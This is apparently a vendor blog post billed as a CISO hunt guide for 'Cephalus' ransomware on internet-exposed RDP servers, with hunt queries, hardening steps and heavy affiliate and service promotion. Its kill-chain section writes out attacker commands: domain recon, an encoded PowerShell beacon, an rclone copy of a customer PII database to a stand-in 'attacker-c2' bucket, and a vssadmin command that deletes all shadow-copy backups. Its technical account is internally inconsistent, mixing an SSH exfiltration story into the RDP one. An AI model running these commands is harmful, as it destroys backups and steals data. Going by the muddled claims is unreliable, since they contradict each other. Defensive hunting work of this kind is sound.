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CISO Briefing: How to Hunt for “Cephalus” Ransomware on Your RDP Servers (A CISO’s Hunt Guide: IOCs & TTPs) — by CyberDudeBivash

By CyberDudeBivash · 01 Nov 2025 · cyberdudebivash.com · Intel on cyberbivash.blogspot.com

LinkedIn: ThreatWire cryptobivash.code.blog

RANSOMWARE • RDP • EDR BYPASS • THREAT HUNTING • CISO GUIDE

Situation: This is a CISO-level “red alert”. A new ransomware variant, “Cephalus,” is *bypassing* “Next-Gen” EDR (Endpoint Detection and Response) by using the *one port* your C-suite demands be open: RDP (Remote Desktop Protocol). This is not a 0-day. This is a *brute-force* and *credential-stuffing* attack that *works*.

This is a decision-grade CISO brief. This is a PostMortem of a “Trusted Pivot” attack. Your EDR is blind because the attacker *is* a “trusted” user (`admin`). They are “Living off the Land” (LotL) with `powershell.exe` and `vssadmin.exe` to *exfiltrate* your data (Double Extortion) and *kill your backups* before they encrypt. This is the CyberDudeBivash hunt guide to find them *before* the ransom note.

TL;DR — “Cephalus” Ransomware is just *brute-force RDP* + *LotL*. Your EDR is blind to it.

The TTP: Brute-Force (T1110) or Leaked Key (T1552) → `ssh.exe` login → Data Exfiltration over SSH (T1048.003) using `scp` or `sftp`.
The “EDR Bypass”: Your EDR is *whitelisted* to *trust* `ssh.exe` and `scp.exe`. It sees a “trusted” Microsoft/Linux process running and *ignores* it.
The “Firewall/DLP Bypass”:** The *entire* attack (C2 and data exfil) is *encrypted* inside the SSH tunnel. Your DLP *cannot* inspect the payload.
The Impact: Corporate Espionage, PII Data Exfiltration (GDPR/DPDP), and Ransomware (as a final step).
THE ACTION (CISO): 1) HARDEN: *Disable password authentication* on *all* SSH servers. Mandate Phish-Proof MFA (Hardware Keys). 2) HUNT: This is the mandate. You *must* hunt for anomalous `ssh.exe` network traffic *now*.

TTP Factbox: “Cephalus” RDP Kill Chain

TTP	Component	Severity	Exploitability	Mitigation
Brute Force (T1110.001)	RDP (Port 3389)	Critical (10.0)	Trivial (Automated)	Hardware Keys (FIDO2) / VPN
LotL (T1059.001)	`powershell.exe -e …`	Critical	EDR Bypass (LotL)	MDR (Threat Hunting)
Data Exfil (T1567.002)	`rclone` / C2 (e.g., `api.gemini.google.com`)	Critical	DLP Bypass	MDR (Threat Hunting)

Critical RCE-EquivalentEDR & DLP BypassLiving off the Land (LotL)Contents

Phase 1: The “Trusted” RDP (Why Your EDR is Blind)

As a CISO, your *entire* “prevention” model is based on *signatures* and *blacklists*. This attack *bypasses* both.

This is a “Living off the Land” (LotL) attack. The attacker isn’t using “malware.exe”. They are using `mstsc.exe` (RDP), `powershell.exe`, and `vssadmin.exe`—legitimate, *signed* Microsoft tools that your sysadmins *need* to do their jobs.

Here is the *critical failure* in your security stack:

The EDR Bypass: Your EDR (like Kaspersky) is *whitelisted* to “trust” these processes. It *has* to be. When the attacker (logged in as “Admin”) runs `powershell.exe`, your EDR sees a “trusted” process and *allows it*.
The “Zero-Trust” Fail: Your ZTNA policy *trusts* any user who *successfully authenticates*. The attacker *is* authenticated (with a stolen/brute-forced password). Your ZTNA *allows* the breach.
The Firewall/DLP Bypass: Your firewall is *configured* to “Allow Port 3389” (RDP) for remote work. The attacker’s *entire* C2 and Data Exfiltration (the “4TB Question”) happens *inside this encrypted RDP tunnel*. Your DLP *cannot* inspect the payload.

Your security stack is *blind* because the attacker is *impersonating* one of your sysadmins, and your tools *cannot* tell the difference between “good” admin behavior and “bad” admin behavior. This requires a *human* hunter.

Phase 2: The “Cephalus” Kill Chain (From RDP to Ransomware)

This is a CISO PostMortem based on *real* TTPs our Incident Response (IR) teams are seeing in the wild from “Cephalus” (a representative RaaS group).

Stage 1: Initial Access (The “Weak” Credential)

The attacker’s “scanner” finds your *one* internet-facing server (e.g., a “forgotten” dev box in Alibaba Cloud) that *has Port 3389 (RDP) open to the world* and *a weak password* (`Winter2024!`).
They run a Brute-Force attack (T1110) and get in as `Administrator`.

Stage 2: Defense Evasion & Recon (The “LotL” TTP)

The attacker is now `SYSTEM` in an RDP session. Your EDR is blind.
They *don’t* run malware. They *live off the land*. They run:

`whoami /all` (Check privileges)
`net user /domain` (Find other admins)
`ipconfig /all` (Map the internal network)
`powershell.exe -e …` (The “fileless” C2 beacon to `api.gemini.google.com` – the “PROMPTFLUX” TTP)

Stage 3: Data Exfiltration (The “4TB Question”)

This is the *real* attack. The attacker *finds* your PII database.
`rclone.exe copy “C:\Data\customer_pii.db” “attacker-c2:s3-bucket”`
Your DLP is *blind*. It sees “trusted” `rclone.exe` (or `powershell.exe`) making an “encrypted” HTTPS connection.

Stage 4: Impact (The “Shadow Delete” & Ransom)

*Only* after your 4TB of data is gone, the attacker runs the *one* command your SOC *must* catch:
`vssadmin.exe delete shadows /all /quiet`
This *deletes all your local backups*.
They then run the *actual* `cephalus.exe` ransomware to encrypt the server. But it’s too late. The *real* damage (the Data Breach) is already done.

Exploit Chain (Engineering)

This is a “Trusted Process” Hijack (T1219) & Misconfiguration. The “exploit” is a *logic* flaw in your Zero-Trust policy.

Trigger: `mstsc.exe` (RDP Client) + Brute Force (Hydra, etc.).
Precondition: RDP (3389) exposed to `0.0.0.0/0` + Weak password.
Sink (The Breach): `powershell.exe -e …` (Fileless C2) → `vssadmin.exe delete shadows` → `ransomware.exe`.
Module/Build: `powershell.exe` (Trusted), `vssadmin.exe` (Trusted).
Patch Delta: This is a *policy* flaw. The “fix” is MFA + VPN.

Reproduction & Lab Setup (Safe)

You *must* test your EDR’s visibility for this TTP.

Harness/Target: A sandboxed Windows 11 VM with your standard EDR agent installed.
Test: 1) Log in (as a *normal user*). 2) Open `powershell.exe`. 3) Run this command: `powershell.exe -c “vssadmin.exe delete shadows /all”`. (This will *fail* without admin, but the *process* is the IOC).
Result: Did your EDR/SIEM fire a P1 (Critical) alert for *attempting* to run `vssadmin delete shadows`? If it was *silent*, your EDR is *blind* to the #1 ransomware TTP.

Detection & Hunting Playbook (The New SOC Mandate)

Your SOC *must* hunt for this. Your SIEM/EDR is blind to the exploit itself; it can *only* see the *result*. This is your playbook.

Hunt TTP 1 (The #1 IOC): “The Shadow Delete.” This is your P1 alert. This is *never* “noise.”# EDR / SIEM Hunt Query (Pseudocode) SELECT * FROM process_events WHERE (process_name = ‘vssadmin.exe’ AND command_line CONTAINS ‘delete shadows’) OR (process_name = ‘powershell.exe’ AND command_line CONTAINS ‘Get-WmiObject Win32_ShadowCopy’)
Hunt TTP 2 (The “Brute-Force”): “Show me *all* `EventID 4625` (Failed Login) from a *single IP* with > 100 attempts in 5 minutes.” (This is the pre-breach noise).
Hunt TTP 3 (The “Pivot”): “Show me `powershell.exe` spawning `whoami.exe` or `net.exe` *after* a *successful RDP login* (EventID 4624).”
Hunt TTP 4 (The “Russian Host”): “Show me *all* outbound RDP/SSH connections to *any* IP in `[Russia_IP_Block]` or `[China_IP_Block]`.”

Mitigation & Hardening (The CISO Mandate)

This is a Network Architecture failure. This is the fix.

1. HARDEN RDP (The #1 Fix): This is your CISO mandate.
- GET RDP OFF THE INTERNET. Block Port 3389 at your perimeter firewall. *There are no exceptions*.
- MANDATE VPN + MFA: All RDP access *must* be *inside* a VPN (like TurboVPN) *and* protected by Phish-Proof MFA (Hardware Keys).
2. NETWORK SEGMENTATION (The “Firewall Jail”): Your RDP server *must* be in a “Firewall Jail” (e.g., an Alibaba Cloud VPC). It should *never* be able to talk to your Domain Controller or S3 buckets. This *contains* the breach.
3. DEPLOY A 24/7 MDR: You *must* have a human-led MDR team (like ours) to hunt for these *behavioral* TTPs.

Audit Validation (Blue-Team)

Run this *today*. This is not a “patch”; it’s an *audit*.

# 1. Audit your Firewall
# Run `nmap` *from an external IP* (e.g., your phone's hotspot)
nmap -p 3389 [your_company_ip_range]
#
# EXPECTED RESULT: "Filtered" or "Closed"
# If it says "Open," you are CRITICALLY VULNERABLE.

# 2. Audit your EDR (The "Lab" Test)
# Run the `vssadmin` test. If your SOC did *not* get a P1 alert,
# your EDR is *not* configured for ransomware defense.

Is Your RDP a “Trusted” Backdoor?
Your EDR is whitelisted. Your SOC is asleep. CyberDudeBivash is the leader in Ransomware Defense. We are offering a Free 30-Minute Ransomware Readiness Assessment to show you the *exact* gaps in your “LotL” and “Data Exfil” defenses.

Book Your FREE 30-Min Assessment Now →

Recommended by CyberDudeBivash (Partner Links)

You need a layered defense. Here’s our vetted stack for this specific threat.

Kaspersky EDR
This is your *sensor*. It’s the #1 tool for providing the behavioral telemetry (process chains, network data) that your *human* MDR team needs to hunt.Edureka — Threat Hunting Training
Train your SOC team *now* on Windows Hardening (GPO) and Threat Hunting TTPs.TurboVPN
The *only* way your admins should access RDP. Lock it down.

Alibaba Cloud (VPC/SEG)
This is *how* you build the “Firewall Jails” (Network Segmentation) to contain your RDP servers.AliExpress (Hardware Keys)
*Mandate* this for all RDP/VPN Admins. Get FIDO2/YubiKey-compatible keys. This *kills* the password brute-force TTP.Rewardful
Run a bug bounty program. Pay white-hats to find flaws *before* APTs do.

CyberDudeBivash Services & Apps

We don’t just report on these threats. We hunt them. We are the “human-in-the-loop” that your automated EDR is missing.

Managed Detection & Response (MDR): This is the *solution*. Our 24/7 SOC team becomes your Threat Hunters, watching your EDR logs for these *exact* “RDP -> PowerShell” TTPs.
Adversary Simulation (Red Team): This is the *proof*. We will *be* “Cephalus.” We will *simulate* this RDP brute-force & exfil TTP to show you where you are blind.
Emergency Incident Response (IR): You found this TTP? Call us. Our 24/7 team will hunt the attacker and eradicate them.
PhishRadar AI — Stops the phishing attacks that *initiate* the breach.
SessionShield — Protects your *admin sessions* from the *credential theft* that happens after this breach.

Book Your FREE 30-Min Assessment Explore 24/7 MDR Services Subscribe to ThreatWire

FAQ

Q: What is “Cephalus” Ransomware?
A: “Cephalus” is a RaaS (Ransomware-as-a-Service) group. Their *entire TTP* is based on *bypassing EDR* by *avoiding* 0-days and *only* using RDP Brute-Force and “Living off the Land” (LotL) techniques (like PowerShell and `vssadmin`).

Q: Why does my EDR/Antivirus miss this attack?
A: Because your EDR is *configured to trust* `powershell.exe` and `ssh.exe`. This is a “Trusted Process” bypass. The EDR sees a ‘trusted’ admin tool running and *ignores* it. You *must* have a *human* MDR team hunting for the *behavioral* anomalies.

Q: How do I hunt for this?
A: You need a behavioral EDR (like Kaspersky). The #1 hunt query is: “Show me all *outbound* SSH connections from *non-admin* servers” and “Show me all *inbound* SSH logins from *non-whitelisted IPs* (like Russia, China, etc.).”

Q: What’s the #1 action to take *today*?
A: GET RDP OFF THE INTERNET. Go to your firewall *now* and *block* Port 3389 from the public internet. *All* RDP access *must* go through a VPN that is protected by Hardware Key MFA.

Timeline & Credits

This “RDP -> LotL -> Ransomware” TTP (T1021.001) is the *#1 most common* ransomware vector seen in the wild.
Credit: This analysis is based on active Incident Response engagements by the CyberDudeBivash threat hunting team.

References

Affiliate Disclosure: We may earn commissions from partner links at no extra cost to you. These are tools we use and trust. Opinions are independent.

CyberDudeBivash — Global Cybersecurity Apps, Services & Threat Intelligence.

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#RDP #Ransomware #Cephalus #DataExfiltration #EDRBypass #LotL #CyberDudeBivash #IncidentResponse #MDR #ThreatHunting #CISO #BruteForce

Cyberdudebivash

How to Hunt for “Cephalus” Ransomware on Your RDP Servers (IOCs & TTPs Included)

CISO Briefing: How to Hunt for “Cephalus” Ransomware on Your RDP Servers (A CISO’s Hunt Guide: IOCs & TTPs) — by CyberDudeBivash

Phase 1: The “Trusted” RDP (Why Your EDR is Blind)

Phase 2: The “Cephalus” Kill Chain (From RDP to Ransomware)

Stage 1: Initial Access (The “Weak” Credential)

Stage 2: Defense Evasion & Recon (The “LotL” TTP)

Stage 3: Data Exfiltration (The “4TB Question”)

Stage 4: Impact (The “Shadow Delete” & Ransom)

Exploit Chain (Engineering)

Reproduction & Lab Setup (Safe)

Detection & Hunting Playbook (The New SOC Mandate)

Mitigation & Hardening (The CISO Mandate)

Audit Validation (Blue-Team)

Recommended by CyberDudeBivash (Partner Links)

CyberDudeBivash Services & Apps

FAQ

Timeline & Credits

References

Leave a comment Cancel reply

How to Hunt for “Cephalus” Ransomware on Your RDP Servers (IOCs & TTPs Included)

CISO Briefing: How to Hunt for “Cephalus” Ransomware on Your RDP Servers (A CISO’s Hunt Guide: IOCs & TTPs) — by CyberDudeBivash

Phase 1: The “Trusted” RDP (Why Your EDR is Blind)

Phase 2: The “Cephalus” Kill Chain (From RDP to Ransomware)

Stage 1: Initial Access (The “Weak” Credential)

Stage 2: Defense Evasion & Recon (The “LotL” TTP)

Stage 3: Data Exfiltration (The “4TB Question”)

Stage 4: Impact (The “Shadow Delete” & Ransom)

Exploit Chain (Engineering)

Reproduction & Lab Setup (Safe)

Detection & Hunting Playbook (The *New* SOC Mandate)

Mitigation & Hardening (The CISO Mandate)

Audit Validation (Blue-Team)

Recommended by CyberDudeBivash (Partner Links)

CyberDudeBivash Services & Apps

FAQ

Timeline & Credits

References

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Leave a comment Cancel reply

Detection & Hunting Playbook (The New SOC Mandate)